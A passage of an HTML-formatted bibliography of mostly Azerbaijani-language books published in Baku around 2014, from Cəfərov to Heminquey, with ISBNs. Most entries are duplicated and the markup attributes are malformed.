margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərov, F. Funksionla qida məhsullarının texnologiyası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495331</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərova , Z. B. Rəsmi-İnzibati üslub .&nbsp; Bakı : Bakı Universiteti&nbsp; , 2013 . ISBN&nbsp; :&nbsp; 9789952808865</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Clezio, L .&nbsp; Səhra . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268881</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Barbaraları gözləyərkən. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267310</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Barbaraları gözləyərkən. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267310</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Gənclik. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267303</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Gənclik. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267303</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Maykl K.-nın həyatı və zəmanəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267297</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Maykl K.-nın həyatı və zəmanəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267297</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Rüsvayçılıq. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267327</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Rüsvayçılıq. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267327</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coleman, J . Komitet 300 dünya hökümətinin sirləri . Bakı : Qanun, 2014 . ISBN : 9789952268966</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Collins, S. Aclıq oyunları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267143</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Collins, S. Aclıq oyunları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267143</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Covanyoli, R. Spartak. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952241846</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Covanyoli, R. Spartak. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952241846</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çələbi, B. Rusiya mafiyasının liderləri: Moskva. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266481</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çələbi, B. Rusiya mafiyasının liderləri: Moskva. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266481</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çimən, Ə. Tarixi dəyişdirən məxfi servislər. Bakı: Qələm, 2014. ISBN: 9789952468328</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çimən, Ə. Tarixi dəyişdirən məxfi servislər. Bakı: Qələm, 2014. ISBN: 9789952468328</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çokor, F. T. Axınla birgə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266955</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çokor, F. T. Axınla birgə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266955</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çopiç , B .&nbsp; Özümüz zillətdə,xəyalımız cənnətdə . Bakı : Qanun , 2014. ISBN:&nbsp; 9789952268539</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dictionary of energy term: explanatory glossart on oil and natural gas sector of Azerbaijan. Baku: Qafqaz University, 2014. ISBN: 9789952468274</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dictionary of energy term: explanatory glossart on oil and natural gas sector of Azerbaijan. Baku: Qafqaz University, 2014. ISBN: 9789952468274</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dikkens, Ç. Devid Kopperfild. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952242010</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dikkens, Ç. Devid Kopperfild. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952242010</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dirie, V. Səhra Çiçəyi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267112</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dirie, V. Səhra Çiçəyi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267112</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dobelli, R. Məntiqli düşünmə sənəti. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266757</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dobelli, R. Məntiqli düşünmə sənəti. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266757</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dostoyevski, F. Alçaldılmış və təhqir edilmiş insanlar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267105</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dostoyevski, F. Alçaldılmış və təhqir edilmiş insanlar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267105</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dostoyevski, F. Yeniyetmə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267198</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dostoyevski, F. Yeniyetmə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267198</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Dovlatov, S .&nbsp; Zona həbsxana nəzarətçisinin qeydləri . Bakı : Qanun , 2014. ISBN:&nbsp;&nbsp; 9789952269178</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dovlatov, S. Əcnəbi qadın. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266641</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dovlatov, S. Əcnəbi qadın. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266641</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Doyl , A . K . Şerlok Holmsun macəraları&nbsp; .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268218</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Doyl, A. K. Al – qırmızı etüd: Şerlok Holmsun macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267778</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Doyl, A. K. Al – qırmızı etüd: Şerlok Holmsun macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267778</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Doyl, A. K. Dördlərin işarəsi: Şerlok Holmsun macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268188</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Doyl, A. K. Dördlərin işarəsi: Şerlok Holmsun macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268188</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Doyl, A. K. Qorxu vadisi: Şerlok Holmsun macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267358</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Doyl, A. K. Qorxu vadisi: Şerlok Holmsun macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267358</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Drayzer , T . Kerri bacı&nbsp; . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268010</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Drayzer, T .&nbsp; Cenni herhardt . Bakı : Qanun , 2014 .&nbsp; ISBN :&nbsp; 9789952268911</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dükan, P. Mən arıqlaya bilmirəm. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266771</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dükan, P. Mən arıqlaya bilmirəm. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266771</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Düma, A . Qafqaz səfəri&nbsp; .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952267921</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Epperson, R . Gözəgörünməz əl .&nbsp;&nbsp; Bakı : Qanun&nbsp; , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952267655</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əbdülrəhmanlı , N.&nbsp; Qurban roman-xronika . Bakı: Qanun, 2014. ISBN : 9789952269123</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əfəndiyeva, İ. Axtarış yollarının bəhrəsi. Bakı: Zərdabi LTD MMC, 2014. ISBN: 9789952460414</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əfəndiyeva, İ. Axtarış yollarının bəhrəsi. Bakı: Zərdabi LTD MMC, 2014. ISBN: 9789952460414</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Əliyev, E .&nbsp; Avropa cinayət hüququ . Bakı : Kooperasiya, 2015.&nbsp; ISBN : 9789952826531</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, E. Avropa əqli mülkiyyət hüququ. Bakı: \"UniPrint\" nəşriyyat-poliqrafiya müəssisəsi, 2014. ISBN: 97899524403411</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, E. Avropa əqli mülkiyyət hüququ. Bakı: \"UniPrint\" nəşriyyat-poliqrafiya müəssisəsi, 2014. ISBN: 97899524403411</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, E. Avropa nəqliyyat hüququ. Bakı: Uni – Print nəşriyyat – poliqrafiya müəssisəsi, 2014. ISBN: 97899524403410</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, E. Avropa nəqliyyat hüququ. Bakı: Uni – Print nəşriyyat – poliqrafiya müəssisəsi, 2014. ISBN: 97899524403410</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, Q. Bir bölüyün manifesti .Bakı : Elm və təhsil , 2015. ISBNI: 9789952826524</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, R. T. Stres və bitkilərin adaptasiyası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952453909</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, R. T. Stres və bitkilərin adaptasiyası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952453909</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, R. Türk mifoloji düçüncəsi və onun epik transformasiyaları. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495270</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, R. Türk mifoloji düçüncəsi və onun epik transformasiyaları. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495270</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Əliyev,E .&nbsp; Avropa əmək hüququ. 2015 . ISBN 9789952827217</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyeva, G. Türk təsəvvüf fəlsəfəsi: II hissə. Bakı: Proqres, 2014. ISBN: 9789952820799</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyeva, G. Türk təsəvvüf fəlsəfəsi: II hissə. Bakı: Proqres, 2014. ISBN: 9789952820799</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ən yeni rus ədəbiyyatı: antologiya. I cild. Bakı: Mütərcim, 2014. ISBN: 9789952281736</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ən yeni rus ədəbiyyatı: antologiya. I cild. Bakı: Mütərcim, 2014. ISBN: 9789952281736</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ən yeni rus ədəbiyyatı: antologiya. II cild. Bakı: Mütərcim, 2014. ISBN: 9789952281903</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ən yeni rus ədəbiyyatı: antologiya. II cild. Bakı: Mütərcim, 2014. ISBN: 9789952281903</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əsəd Bəy . Qafqazın on iki sirri&nbsp; .&nbsp; Bakı : Qanun , 2014.&nbsp; ISBN&nbsp; : 9789952268096</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əsədov, E. Qloballaşma şəraitində müharibə və sülh problemi. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495225</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əsədov, E. Qloballaşma şəraitində müharibə və sülh problemi. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495225</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əsgərli, S. Çarə Sizsiniz. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266894</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əsgərli, S. Çarə Sizsiniz. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266894</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əzəmət, Z. Balaca adam. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267703</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əzəmət, Z. Balaca adam. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267703</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əzim, E. İllərin o tayı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267365</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əzim, E. İllərin o tayı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267365</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Fərzəliyev,V. M. Kimya və həyat. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495294</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Fərzəliyev,V. M. Kimya və həyat. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495294</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Flober, Q. Sadəlövh. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267952</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Flober, Q. Sadəlövh. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267952</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Fox, J .J . Necə böyük rəhbər olmalı&nbsp; .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268652</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Foks, L. Şahə qalxan dalğalar. Bakı: TEAS Press nəşriyyat evi, 2014. ISBN: 9789952494518</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Foks, L. Şahə qalxan dalğalar. Bakı: TEAS Press nəşriyyat evi, 2014. ISBN: 9789952494518</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Frank, A. Gündəlik. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267990</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Frank, A. Gündəlik. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267990</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Freyd, Z. Yuxuların yozumu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267259</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Freyd, Z. Yuxuların yozumu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267259</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gəncəv i, N .&nbsp; Sirlər xəzinəsi .&nbsp; Bakı :&nbsp; Qanun, 2014 . ISBN : 9789952268089</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gilbert, E. Ye, dua et, sev. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266313</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gilbert, E. Ye, dua et, sev. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266313</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gündüz, A. Türk dilində kimlik bildirən sözlər. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268294</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gündüz, A. Türk dilində kimlik bildirən sözlər. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268294</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hacı, K. Rəqqasə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267907</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hacı, K. Rəqqasə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267907</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hami,H. Sparkling ashes over the rainbow . Bakı : Qanun , 2014 . ISBN : 9789952268997</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Harvi, S. Qadın kimi davran, kişi kimi düşün. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267693</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Harvi, S. Qadın kimi davran, kişi kimi düşün. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267693</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Heminquey, E. Əcəl zəngi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267341</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Heminquey, E. Əcəl zəngi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267341</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Heminquey, E. 